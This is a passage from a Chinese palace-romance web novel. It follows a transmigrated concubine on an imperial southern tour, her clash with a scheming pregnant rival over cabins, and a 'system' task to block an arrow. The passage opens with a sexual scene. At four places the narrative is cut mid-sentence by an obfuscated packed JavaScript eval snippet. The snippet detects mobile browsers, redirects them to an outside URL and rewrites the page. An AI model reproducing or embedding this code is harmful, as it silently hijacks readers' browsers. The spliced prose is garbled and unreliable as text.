“夜深了,”他贴在姜舒月的耳朵边上,声音是刻意压低的性感,“夫人该安寝了,让小的来服侍夫人吧” 姜舒月被撩得脚都软了。 谁懂啊,一个帝王,为了哄她开心,竟然愿这番作态。 她的手默默地去解了贺云徽的玉带,一双手探了进去。 “嘶……”他忍不住哼了一声。 不多时,马车便晃了起来。 福安轻咳一声,让旁边待着的人都离开些。 “乖,让朕再亲亲。” 贺云徽抱着姜舒月翻身上榻,又亲了亲她的脸。 “不要了……”小猫似的嘤咛一声,姜舒月像是海里漂浮,而贺云徽就是那个海里的浮木。 她只能紧紧地抓着他。 半个时辰后,动静渐渐停了下来。 后面一直准备着热水,只等贺云徽下令。 “抬水。” 画轮车虽然大,却不如在宫里方便,只能将水抬进来简单擦拭一下。 姜舒月自然是没力气动了。 全程都是贺云徽在给她收拾。 将人收拾好后,小心的放在后面的榻上。 “陛下,该启程了。”福安小心地提醒道。 贺云徽挥挥手。 一盏茶后,整个车队继续前行。 尹宝林从姜舒月去到画轮车上之后,就一直盯着。 直到看着马车晃动起来,才终于忍不住骂着:“**!竟一刻也忍不住就勾引陛下!” 她声音有些大,旁边有好多人都能听到。 脸上闪过一丝奇怪的表情。 豆蔻注意到了,连忙把帘子放下。 “娘娘,万不可这么说。”有的时候她也挺心累的,自从娘娘怀孕之后,情绪不稳定,时常会有一些过激的言行举止。 “陛下离的不远,万一被陛下身边的公公听见了可怎么办。” 如今说什么,她都不会冷静。 豆蔻只能将陛下搬出来。 果然听到了陛下两字,尹宝林就有一瞬间的清醒。 但又有些不甘心,只能恶狠狠地在心里诅咒姜舒月。 姜舒月又舒服地睡了一觉,醒了之后发现自己换了一身亵衣,但贺云徽却不在画轮车内。 正想着,车停了下来,静玉和扶风轻轻地推开了门。 “娘娘您醒了,奴婢还想进来叫您呢。”静玉手里捧着衣物和发饰。 “外面在吵什么?”从刚才开始,就听到外面一直在喧闹了。 扶风拧干帕子递给她,“已经到码头了,这会正指挥奴才搬行囊呢。” 姜舒月擦了擦脸,“那么快就到了?” 扶风闻言捂嘴笑了,“娘娘不快了,您睡了快四个时辰了。半个时辰前就到了,陛下说别吵了您。” 她哑然,掀开帘子看了看外面,天已经蒙蒙亮了。 难怪这会精神头这么好,合着她将近睡了一晚上。 正头主子在外面忙活,她就这样在画轮车里睡了一晚上。 饶是姜舒月有些厚脸皮,也觉得不好意思。 穿戴整齐后,她便踏出了画轮车。 几个跟着来的妃子都已经在一边等候了一会了,这会看到姜舒月从画轮车里出来,各自脸上的表情都很精彩。 “见过几位娘娘。”避不开,她只能上前行礼。 如今来的妃子里,姜婉清的位份是最高的。 但是她是姜舒月的嫡姐,自然不会在众人面前跟自家人过不去。 “起来吧,可要注意些,这会风有些凉。” “谢谢娘娘关心。”她又给姜婉清屈膝。 她仔细看了看姜舒月,算起来她们姐妹俩也有将近半个月没见了。 今天再度见到姜舒月时,她也是有些惊讶的。 无他,姜舒月现在被养得太好了。 弯弯的眉毛下,一双桃花眼媚意横生,白皙无暇的皮肤透出淡淡的粉色,嘴唇不妆而赤娇艳欲滴的。 “哼,大家都早早在此等候,偏她特殊。”说话的是一位身穿淡粉对襟羽纱长裙的女子。 姜舒月看过去,认出来是容貌艳丽、素来有些高傲的陈婕妤。 方静姝怕她被为难,默默地站了过去,以行动来表示,她是姜舒月这边的。 陈婕妤看着姜舒月,唇角微勾,笑意却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504139|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达眼底。 “陈姐姐,”尹宝林这时突然说话,“想来姜嫔姐姐不是故意的,大概是跟陛下相谈甚欢,才睡的这般沉。” 岳容华紧接着冷哼一声,“是啊,这福气可不是一般人能有的,连起床都比我们晚一些。” 几人面色各异,都在等姜舒月如何反击。 “几位姐姐久等了,”一想到她一会要说什么,姜舒月就想笑,“昨夜陛下实在是……嫔妾着实有些劳累,幸得陛下怜爱,可以多休息一会。” 岳容华和尹宝林没想到姜舒月竟然顺着她们的话往下说,一时语塞,脸色有些难看。 原本准备好要说的话,一下子噎在了喉咙里。 尹宝林也愣住,手指握紧帕子,她怎么敢! 陈婕妤闻言倒是意外地看了她一眼,眼里闪过一丝兴趣。 岳容华一甩袖子,正欲反驳,姜婉清轻咳一声。 “行了,都别吵了。南巡在外,大家理应和睦相处。姜嫔既是为了伺候陛下,也是情有可原。” 她既出声,那这场没有硝烟的战争就这样停歇了下来。 这时天已经大亮,没一会福明便快步来了几人前面。 “给娘娘们请安,前头已经准备好了。陛下有令,可以登船了。” 姜舒月随着队伍来到运河码头边上。 绵延数里的豪华船队整装待发,气势恢宏。 为首的龙船更是雕梁画栋,金碧辉煌,尽显皇家威仪。 她作为此次南巡名单上的一员,在奴才的带领下,随着一众妃嫔登上了指定的楼船。 这艘船仅次于皇上乘坐的龙船,算是随行妃嫔中规格最高的住所了。 她被分到的房间不大,但布置得雅致温馨,推开窗便能看见碧波荡漾的河景,视野极佳。 姜舒月满意地点点头,不错,这位置挺适合咸鱼瘫着看风景。 然而,不是所有人都像她这么容易满足。 “奴婢莲心,求见姜嫔娘娘。” 姜舒月挑了挑眉,真是一刻都不能消停。 她放下刚捧起的茶杯,抬了抬手,扶风便去开了门。 “见过姜嫔娘娘,我家娘娘请您过去一趟。” 姜舒月心里门儿清。还能有什么事? 无非就是找事呗。 她不紧不慢地跟着莲心来到隔壁。 一进门,就见尹宝林歪在榻上,柳眉紧蹙。 一手抚着尚未显怀的小腹,一手拿着帕子,眼圈微红,一副受了天大委屈的模样。 船舱里还站着两位妃嫔,一位是之前和姜舒月有过过节的陈婕妤,另一位则是性子温婉、不常言语的言御女。 陈婕妤一脸的不耐烦,言御女则是尴尬。 显然跟她一样,都是被尹宝林请来“评理”的。 第64章 诬陷不成,要来硬的? “妾身见过姜嫔娘娘,恕妾身身体不适,不能起来行礼。” 尹宝林抬起泪眼朦胧的眸子,声音带着哭腔。 “无事,”姜舒月进了房门,就一直没有太靠近尹宝林,“这是怎么了?” 她现在在姜舒月心里就像是一个定时**,指不定什么时候脑子不清楚,就爆了。 离她太近,容易被伤到。 尹宝林听到了姜舒月的声音,也不回话,只呜呜的哭泣。 豆蔻迈出一步,福了福身,脸上表情带着倨傲。 “姜嫔娘娘,您也看到了,我们家娘娘怀着身孕,这舱房憋闷,又离前头甚远,如何能住得了人呢?” 原来是打的这个主意。 姜舒月细打量了一番这间舱房。 其实也没有很小,只是差在太靠后了。 里前头越近,就越靠近皇上的船舱。 见姜舒月看向自己,尹宝林还故意挺了挺并不明显的小腹,仿佛那里装着什么稀世珍宝。 陈婕妤扯了扯嘴角,似笑非笑地开口:“尹宝林这话说的,这船舱都是内侍省统一安排的,咱们姐妹不都住得好好的?妹妹你这间虽说景致稍差了些,但胜在清净,离膳房也远些,没什么油烟味儿,不是挺适合养胎的吗?” 言御女也跟着附和:“是啊,尹姐姐,妾身看这舱内也布置得雅致舒适,没有您说的这么差。” 言御女说的倒是真的。 她是九位妃子离位份最低的,她的房间较之尹宝林的房间还更小一些。 好在言御女已经足够满足了,要知道一开始她可是连出门的机会都没有。 尹宝林对她们俩的话充耳不闻,只继续看着姜舒月。 “姜嫔姐姐可是在恼妾身今日在码头上,对您言行无状?”她作势要起来下跪赔罪。 豆蔻连忙扑过去,“娘娘,您身子不好,怎可如此!若真要赔罪,奴婢给姜嫔娘娘赔罪!” 说着就要给姜舒月下跪。 姜舒月只轻巧地往旁边一闪,就避开了。 豆蔻看姜舒月躲得快,也尬在了那里。 【宿主,千万不能换!她会在你房里放东西陷害你的!】123早已对尹宝林进行了全方位的监控。 她和宫女的密谋也都被123听到。 【没事,反正我也不会换的。】 对于孕妇,姜舒月自然是不会过多刁难。 但是对于想要陷害自己的孕妇,她可没有那么好的脾气。 既然尹宝林总是和丫鬟蛐蛐自己,认为是自己抢了她的宠,那就当着她的面坐实好了。 “尹妹妹这话说的,倒是让我摸不着头脑了。”她摇着手中的团扇。 “我何时说要让你赔罪了?这一孕傻三年我知道,但是我可不知这耳朵还能有影响啊?” “噗嗤——”陈婕妤实在没忍住,笑了出来。 言御女也忍得很辛苦,肩膀一动一动的。 “你!”尹宝林激动得站了起来,随后又忍了下来,用帕子轻轻捂住嘴,眼泪说来就来。 她不去演琼瑶剧真是屈才了。 “姐姐您瞧妹妹这身子,本就虚弱。如今还怀了龙嗣,这船舱实在逼仄。听闻姐姐的船舱宽敞舒适,妹妹斗胆,想与姐姐换一换,也好让妹妹能安稳养胎。” “要说宽敞舒适,婉妃姐姐的房间应当是最合适不过的了,却不见妹妹去请,”姜舒月战术停顿,“可是忘了?扶风,去请婉妃姐姐,就说尹宝林……” “不用了!”还没等她说完,尹宝林就急急地打断,“妹妹只是想跟姐姐换一换,何必惊扰了婉妃娘娘。” “如今这番动静,倒是看着挺有精气神的。”陈婕妤听了也嗤笑一声,这尹宝林摆明了要跟姜舒月过不去。 陈婕妤虽在岸边跟姜舒月就有口舌之争,但她更讨厌尹宝林拿她和言御女做筏子。 言御女本就位份不高,如今这情况更是不敢开口。 尹宝林暗恨这陈婕妤拆自己的台。 原本看是看她也不喜姜舒月,才请她过来。 没想到她竟是连帮自己说话都不曾。 不过那又有什么关系,只要她达到目的就行。 姜舒月不紧不慢道:“这船舱都是按照位份来分的,若是觉得此处不合心意,妹妹大可去找内侍省的人,让他们想办法,何苦来寻我呢?” 她顿了顿,语气诚恳地补充道:“你如今怀了身子,万金之躯,更应该住在内侍省精心安排的舱房里才是。我那风大潮气重,万一冲撞了妹妹和腹中的小皇子,姐姐我可担待不起啊。” 尹宝林听了气得浑身发抖,半天没说出一个字。 “妹妹莫气,气坏了身子可不值当。”姜舒月适时地递上一个关切的眼神,语气温柔得能掐出水来。 “不如这样,妹妹实在觉得闷,不如去甲板上走走?今日天气不错,看看风景,散散心,对胎儿也好。” 豆蔻这会从地上爬起帮腔道:“姜嫔娘娘,如今前头正忙乱着,内侍省怕也是无暇顾及。娘娘怀着龙嗣,这万一有个好歹,那可是天大的事。您就忍心看着娘娘和小皇子受苦吗?” 姜舒月脸上的笑容淡了几分,眼神也冷了下来:“你这宫女怎么如此不懂规矩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505081|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在此胡言乱语?你的意思是说我蓄意谋害皇嗣吗?我一心为了妹妹和肚子里的孩子着想,没想到竟然被如此随意诬陷,既然如此,那就请陛下过来定夺吧。” 她一甩袖子准备走人。 尹宝林心中慌乱,没想到姜舒月张口就给自己扣了这么大一顶帽子。 若是让她去见了陛下,还不知道会说出别的什么话来,只能给莲心使了个眼色,让她拦住姜舒月。 “怎么?妹妹这是诬陷不成,要来硬的?” 她柳眉微蹙,原本妩媚的桃花眼此刻笼上一层薄怒,恰似乌云轻掩皎月。 红唇紧抿间,似有嗔意流转,那一抹娇艳的红,更添几分动人风姿。 即便是在生气,亦是美得动人心魄。 向来自视甚高的陈婕妤也不得不承认,姜舒月的美貌无人能及。 哪怕是贵妃。 “姐姐别生气,是妹妹的人不懂事,回头我定会好好惩罚于她。只是换舱房而已,何必惊动陛下大驾。也是妹妹实在没办法了,才来求姐姐。若是姐姐不答应,妹妹真是不知道该怎么办才好了……” 说话间不停地手帕子去擦拭眼角的泪。 姜舒月红唇勾起一抹耐人寻味的笑,目光如炬地盯着她。 “呵,你百般阻挠我去请陛下和婉妃姐姐,究竟是真的不想惊扰陛下还是心里有鬼,只怕只有你自己知道。若是真以龙嗣着想,就该安分养胎,莫要再生出这些无端是非,不然我不介意去陛下面前好好说道说道。 这是姜舒月第一次在别人面前,展现出自己强势的一面,尹宝林自然也是被震到了。 她被姜舒月的一番话噎得脸色一阵红一阵白,豆蔻也吓得低下头去,不敢再言语。 咬了咬唇,眼中闪过一丝狠毒,又不得不装下去,“姐姐误会了,妹妹并无此意。既然姐姐不肯,那此事就此作罢吧。” 姜舒月懒得再跟她纠缠,微微颔首,“妹妹既然明**姐的一番苦心便好,好好照顾你家娘娘吧。” 说完,又向陈婕妤福了福身子,转身从容离去。 没有了好戏看,陈婕妤也不乐意看尹宝林哭哭啼啼,当下也扶着宫女的手离开了。 言御女便跟着她离开。 只留尹宝林和豆蔻在舱内,气得直跺脚。 “娘娘!您刚刚好厉害!”扶风眼睛亮晶晶地看着姜舒月。 姜舒月好笑地看着她,“这有什么厉害的。只是这么一闹,倒是把我和她的矛盾摆在明面上了。” 虽然没有说得太明白,扶风却听懂了。 “难不成她还想害您不成?” 第65章 垃圾系统 “这宫里的事情,谁说得准呢?” 姜舒月叹口气,看来这南巡之路,注定不会太平静啊。 在这深宫后院,光有肚子可不够,还得有脑子。 像尹宝林这样的…… “跟明夏他们再说一遍,以后只要看到她宫里的,一律避让。” 省的让那人找到机会黏上来。 “是,奴婢晓得。” 姜婉清没有孩子,上了船之后带着冬雪和秋霜就在船舱内整理物品。 兰昭容因为带着三公主宁华,脚程就慢一些。 三公主宁华也是第一次跟着南巡,从登上马车开始,就异常的兴奋。 这会子上了船之后,撒了欢到处跑。 奶娘和几个宫女在后面追都追不上她。 偏这船上今天第一天登船,乱得不行,到处都是人。 还得注意不能撞到公主,一时之间甲板上更是乱成一团了。 “宁华!”兰昭容眼见女儿快跑得没影了,只得喊她。 宁华一听兰昭容的声音,撇撇嘴,停了下来。 奶娘这会才追上她,喘着气,牵住了她的手。 “祖宗诶,这船上这多的人,您别碰了摔了!”奶娘紧张地叮嘱着。 宁华虽然小,但是也知道都是为了自己好。 只能胡乱点点头。 船坞上的混乱,也一直持续到了下午。 不过这一些跟主子们都是没关系的。 姜舒月回到了自己的房间内后,立马让静玉去后面提水,准备沐浴梳洗一番。 从昨天起就一直待在马车上,就算中途贺云徽给自己清理过,姜舒月也还是觉得自己身上哪哪都不舒服。 还是得好好泡一泡热水澡,去去乏。 “扣扣”舱门被敲响,明夏开门一看,是贺云徽身边的福禄。 “奴才给姜嫔娘娘请安。”福安躬身行礼,态度十分恭敬,手里还拿着一个食盒。 起来后笑着将手里的食盒放在桌上,“这是陛下吩咐给娘娘送来的。” 这话听得她差点就要说出那句名言了。 是所有姐妹都有,还是单送我一人的? 忍了忍,姜舒月打开一看,是几碟精致的点心,还有她喜欢吃的一些水果。 “陛下还说,之后路上多有不便,不比宫中,娘娘若是有需要,随时差人过来。” 能被人放在心上,自然是好的。 姜舒月点点头,“辛苦公公跑着一趟,替我回去好好谢过陛下。” 福禄笑着应了,出去时还替姜舒月将门关上。 终于所有的东西全部都归置好了之后,前方传来一声号角声。 船也开始慢慢动了起来。 姜舒月在现代的时候并没有坐过船。 甚至是游湖的小船都没有。 这会也新鲜得紧,特意吩咐了扶风把窗户打开。 清爽的河风拂面而来,带着水汽和初夏草木的清香。 远处青山如黛,近处碧波万顷,几只水鸟掠过水面,留下一串涟漪。 风景确实不错,比起一成不变的深宫内院,这种景致却更让人流连忘返。 怪不得清朝那位皇帝,六下江南。 本来静玉想去后面提膳,但是姜舒月因为在马车上呆了太久,有点没胃口。 索性就给她拿了一串洗好的葡萄,放在她手边。 “娘娘,刚刚去提水的时候,奴婢打听了一下,”扶风在一旁给她剥葡萄,“咱们这船舱的位置可是顶顶好的,离皇上住的地方可是很近呢!” 近?难怪尹宝林上来就瞄准自己。 她还以为是尹宝林觉得自己好欺负呢,原来是看上这个位置了。 不过按照她的位份,再怎么也不应该这么靠前。 想必是姜晚清在背后出了不少力吧。 为了让自己多靠近贺云徽,尽早怀孕,她还真是用心至极。 姜舒月垂下眼眸,掩去眼底的嘲讽。 她代原主重生,原主被去母留子的仇,必定是要报的。 只是现在还不到时候。 姜舒月瞥了扶风一眼,语气懒洋洋的:“近水楼台?那也得看人家愿不愿意让你得月。” 她将剥好的葡萄塞进嘴里,甜美的汁水在口中爆开,幸福得眯了眯眼:“我倒觉得离远点好,清净。最起码少了很多事情,再者你看这风景多好,这葡萄多甜,安安生生当条咸鱼,看看风景吃吃零嘴,不香吗?” 不过这话也就当着几个丫鬟的面说说,真要是面对贺云徽,她少不得要做出另一幅样子。 【叮——发布主线任务:本次南巡中男主即将遭受刺杀,请宿主在本次刺杀中,为男主挡下一箭。】 可能也是剧情也看不下姜舒月这样懒散的样子,随即通过123给她发了任务。 【???你是说,让我一个手手无缚鸡之力的弱女子,去给一个常年征战沙场的男子,挡箭?!】 姜舒月内心咆哮,之前做的什么鬼任务也就算了,毕竟没有真的伤到自己。 现在让她去挡箭? 都说刀剑无眼,万一她被刺中要害了怎么办? 【宿主请放心,商城中会提供宿主必要的道具,不会让宿主死亡的。】123安慰道。 它也是没有办法,这是男主南巡中一个很重要的剧情。 【那端王的刺杀是什么时候?】 123【不清楚。】 姜舒月【那他会派多少人来?】 123【不清楚。】 姜舒月【这不知道,那也不知道,我怎么做任务?】 123【宿主不要着急,因为现在还没有触发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15505082|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 预警,只要到时候出发了预警,就可以知道了哦。】 姜舒月【……垃圾系统】 原著里是宋滢扑上去挡的,但是男主当时就把宋滢护在了胸前,自己受了一箭。 那箭头带毒,虽然后面救回来了,但是也让他从此落下了心悸咳血的后遗症。 也罢,谁让她来了这里呢? 以后还得给贺云徽生孩子,孩子的父亲,还是得身体好一些吧…… 扶风看她又开始懒散起来,急得直跺脚。 “哎呀,您怎么能这么想,这可是好机会啊!” 她还不知道姜舒月的身体不易受孕,断时间内就算侍寝,也不可能凭借怀孕再进一步。 何况姜舒月已经在两月内连升两级了,放眼望去,在后宫内不说前无古人后无来者,也算是头一份。 不能再这样招人眼球了。 姜舒月摆摆手,一副‘你不懂我’的表情。 “就这样挺好的,不用非要强求。” 扶风:“……”她家娘娘这脑回路,真是清奇得让人没脾气。 主仆几人正说着话,外面又传来一阵喧闹声,隐约夹杂着女子的哭泣和男子的低语。 姜舒月眉头微蹙,不是吧,尹宝林这战斗力这么持久?这才刚消停一会儿,又闹腾上了? 她悄悄打开门,到船坞上往外看。 只见不远处的甲板上,尹宝林正梨花带雨地拉着一个明黄色身影的衣袖,哭哭啼啼地说着什么。 而那个身影,不是当今圣上贺云徽又是谁? 嚯,这尹宝林是真豁出去了,自己没找贺云徽,她倒是先一步把官司打到皇帝这儿来了。 只听尹宝林哽咽着道:“陛下……妾身怀着龙嗣,本就身子不适,如今又住在又闷又吵的地方……妾身实在难受得紧,求陛下开恩,让臣妾与姜嫔娘娘换一换……呜呜……” 她哭得那叫一个情真意切,仿佛受了天大的委屈,仿佛不换船舱,她肚子里的那块肉就要保不住了似的。 周围的宫人看似还在干活,实际两只耳朵都竖起来,仔细听着。 还有几位闻声出来的低位嫔妃,都远远地看着,不敢上前。 贺云徽负手而立,脸上没什么表情,既没有立刻安抚尹宝林,也没有出声斥责。 他就那么静静地听着,目光深邃,让人看不透他在想什么。 直到尹宝林哭得声嘶力竭,快要喘不上气了,他才缓缓开口,声音依旧温和,却带着一丝不容置疑的疏离。 “船舱既是内侍省按规矩安排的,自有其道理。姜嫔那处虽视野开阔,却也风大潮湿,未必适合你养胎。” 尹宝林一愣,没想到贺云徽会这么说,急忙辩解:“可是陛下,妾身就喜欢那样的景致!妾身不怕风大,只要能离陛下近一些,臣妾心里就踏实……” 第66章 司马昭之心路人皆知 她这话就说得有些露骨了,司马昭之心路人皆知。 贺云徽嘴角似乎几不可察地勾了一下,随即又恢复了平静。 他轻轻拂开尹宝林拉着他衣袖的手,动作算不上温柔,但也不粗暴。 “你如今有孕在身,心思敏感些也是有的,”他的声音依旧温和,却带着一种无形的压力,“你若实在觉得舱内憋闷,朕让福安给你送些新鲜瓜果和冰块去,也可多去甲板上走动走动,散散心。” 这话听起来是体恤,实则是不容置喙地拒绝了她换船舱的要求。 尹宝林脸色煞白,她没想到自己挺着肚子,哭得这般可怜,陛下竟然丝毫不为所动。 甚至连句重话都没有,就这么轻飘飘地把她打发了。 她不甘心,还想再说什么,却被贺云徽一个淡淡的眼神制止了。 那眼神没什么温度,却让她瞬间如坠冰窟,后面的话全都堵在了喉咙里。 “行了,退下吧。”贺云徽语气平淡,“好生养胎,莫要再为这些小事烦忧。” 说完,他不再看尹宝林,转身便朝自己的船舱方向走去。 尹宝林僵在原地,看着贺云徽离去的背影,眼里的泪水瞬间变成了怨毒和不甘。 她死死地咬着嘴唇,指甲几乎要掐进肉里。 为什么?为什么陛下连这点小事都不肯依她?是不是因为姜舒月那个**?! 周围看热闹的人见皇上走了,也都识趣地散开了,只留下尹宝林和豆蔻,在甲板上显得格外凄凉。 姜舒月默默关上门,心里啧啧称奇。 果然能当上皇上的,不是什么心慈手软的主儿。 表面功夫做得滴水不漏,拒绝起人来却也是干脆利落,半点情面不留。 不过这样也好,省得她以后还要应付尹宝林没完没了的纠缠。 与此同时,贺云徽回到了书房内,负手站在窗前。 望着窗外缓缓**的景色,脸上的温和早已褪去,取而代之的是一片冷凝。 福安悄无声息地走进来,低声禀报:“皇上,点心已经送到姜嫔娘娘那里了。” 贺云徽“嗯”了一声,没有回头。 福安迟疑了一下,又道:“陛下,京中密报。端王那边……似乎有些不寻常的动作。我们安插在王府的眼线回报,端王近日与几名江南官吏来往密切,似乎……在打探此次南巡的路线和护卫情况。” 贺云徽的眸色沉了沉,嘴角勾起一抹冷冽的弧度:“拔了他几颗钉子,他就坐不住了?” 福安低着头:“端王行事越发隐秘,我们的人暂时还未探听到具体计划,但恐怕……来者不善。” “朕不怕他动,就怕他不动,”贺云徽转过身,眼中寒光一闪而过。 “传令下去,南巡途中,加强戒备,特别是水路沿线,任何可疑船只人员,一律严查。另外,盯紧了端王在江南的那些旧部,别让他们有机会兴风作浪。” “是。”福安恭声应下,贺云徽摆摆手,示意他退下。 书房内恢复了寂静,只有船行破开水面的哗哗声。 窗外的阳光正好,洒在碧波万顷的运河上,粼粼波光,煞是好看。 但这片看似平静的繁华之下,却已是暗流涌动。 一场精心策划的南巡,既是安抚民心,巡视河工,又何尝不是一次引蛇出洞的布局? 贺云徽看着远处青山,目光深远。 这盘棋,才刚刚开始。 不觉间,夜渐渐深了,前头传来消息,说贺云徽今日不过来。 姜舒月吃完了晚膳,清理过后便准备睡下。 船身随着水波轻轻晃动,偶尔还会发出木质的吱呀声。 耳边可以清楚的听见河水潺潺流淌之声,偶尔夹杂着船坞上侍卫巡逻的声音。 有点现在人喜欢听的白噪音那味了。 她第一次在船上过夜,不知道是不是白日里睡得太多了还是情绪太亢奋,现在却还是没有困意。 今日守夜的是明夏,看她在床上翻来覆去的睡不着,索性跟她提议,要不要出去透透气。 姜舒月也没办法强迫自己硬睡,就同意了明夏的提议。 披上一件披风,主仆二人便去了甲板船坞边。 今夜的月光十分的明亮,可以清楚的看到前后的船,船上偶尔透出几点微弱的灯光,在夜色中影影绰绰。 晚间的江面上风更大了,吹得有些人头脑更加清晰了。 听到身后有脚步声,姜舒月回头,正是贺云徽。 姜舒月有些意外,她以为这么晚了,这人肯定已经在别处歇下了。 “见过陛下。” “夜深了,怎的还不休息?”他行至姜舒月面前,看着人只披了一件薄披风,眉头都皱了起来。 伸手去拉她的手,没感觉到凉,眉头这才松开。 “江面夜凉,穿的这么少,当心着凉。”贺云徽搂过她,用自己的披风将人罩了起来。 姜舒月窝在他怀里,手又不老实地摸上贺云徽的腹肌。 “唔!”他无奈地捉住姜舒月的手,“别闹。” 小气鬼。 “陛下,嫔妾省的,不会冻着自己。您这么晚了还不睡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515408|167766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是一直忙到现在吗?” “是有一些事情要处理。”他个子高大,用的披风也大,就算裹进去一个姜舒月,也还又余量。 确定自己已经把姜舒月整个都包好后,两人就这么倚着栏杆待着。 “陛下,嫔妾还从未去过江南,听闻江南风光旖旎,处处桃红柳绿,是这样吗?” 一江烟水照晴岚,两岸人家接画檐。 贺云徽沉吟了一番,低沉的嗓音贴在姜舒月的耳边,“江南之地,鱼米之乡,自古以来就丰饶非常。” “就连江南的山水,都比北方的多了几分灵秀。” 她歪着头,似是想到什么,“听闻江南的女子皆是温婉秀丽,才情出众,有机会倒想见识一番。” 贺云徽低头看向怀里的女子,只见她面上露出一副狡黠地表情,笑笑凑过去在她耳边亲了亲。 “那江南的灵山秀水,朕想应当是滋养出了不少灵动的佳人。” 听出他声音里的笑意,姜舒月也跟着笑。 “陛下如此赞誉,若是再得一佳人,岂不美哉?” “朕是去南巡,不是去选妃,”他摇摇头,“要是让御史知道了,不得撞死在金龙柱上。” “嫔妾还以为陛下会跟嫔妾说:在朕心里朕的月儿是独一无二的,”她还假意地叹了口气,“唉~” 贺云徽一愣,没说话,只是盯着姜舒月看。 墨色的眸子溢出点点笑意,带着连他自己都没察觉到温柔缱绻。 披风下的手缓缓扣紧。 姜舒月抬起头,目光和他的对上。 那眼里的情意,倒让她看了个清楚。 她心中猛然一颤,像是平面的湖水,掷入一颗石子。 泛起层层涟漪。 良久,她先避开了眼神。 望向了远处,努力平复内心翻涌的情绪。 “陛下,方才您说起江南山水灵秀,却不知这次南巡可否有机会见识。” 话语出口,虽尽量保持平稳,可微微颤抖的尾音,还是泄露了她内心的不平静。 话题转的生硬,他似是察觉到姜舒月的异样,却未多言,只是顺着她的话回应道:“若你感兴趣,到时可安排停留。” “……谢陛下,”她心绪波动极大,说出的话不似以往那般随意。 两人就这么沉默了下来。 只有江风吹来带着潮湿的水汽,让人莫名地有些烦躁。 最后还是姜舒月先受不了这令人窒息的沉默,笑着说着:“风渐渐大了,嫔妾这便要回去休息了。夜已深,陛下也早些歇息吧。” 第67章 要失宠了 怀里一下子空了出来,贺云徽有些不适。 将手背过身后,手指摩挲着。 “嗯,”声音听不出什么情绪,姜舒月也有点摸不准他生没生气,“早些睡吧。” 本来也只是随口说说的玩笑话,难道他当真了不成? 姜舒月自然是不会相信一个帝王,真的会有:后宫佳丽三千,他只取一瓢的想法。 古代男人都是三妻四妾,皇帝更甚。 她相信贺云徽会多情,但绝对不会相信他专情。 甚至她还有些后悔,说出了刚刚那句话。 换做是之前,她必然是要勾一勾他的。 现在看来,还是算了吧。 明夏和福安两人在另一头待命,只看到姜舒月独自一人出来的身影。 明夏还有些意外,她还以为陛下今日会在娘娘这过夜。 她不放心地回头看了一眼,却发现贺云徽还站在之前的地方待着。 无端生出一种落寞感。 她不敢多看,马上回头扶着姜舒月回房。 “娘娘,陛下那……”明夏还想说什么,她和福安公公离得远,本也听不到娘娘和陛下聊天。 但是看陛下的表情,并不太好。 “无事,你去歇着吧,今晚不用守夜了。”姜舒月打断明夏。 今晚她心绪不宁,也不想和明夏多说什么。 明夏看她明显有些不开心的表情,张了张嘴,最终还是什么也没说,福身后转身将门轻轻关上。 贺云徽的眼睛一直没有离开姜舒月。 他能明显感觉到今晚她对自己的疏远。 明明一开始还很开心,为什么突然就不高兴了。 因为自己没有给她摸腹肌? 还是在他心里,姜舒月不是唯一? 贺云徽自问对姜舒月不算独宠,也已经算是宠爱有加了。 诸多事宜皆为她考量,旁人有的她皆有,旁人没有的,他也尽自己所能给予。 左右想不明白,贺云徽干脆又回了书房内,开始看起了奏折。 福安人精似的,一看贺云徽的脸色,早早就找借口退下了。 起初,是扶风先发现了不对。 她去膳房提菜的时候,竟然被人拦了下来。 说是要先给尹宝林供菜。 “我家娘娘是嫔位,为何要在宝林娘娘后面提膳?” 自从姜舒月得宠以来,扶风再也没有遇到过被刁难的事情。 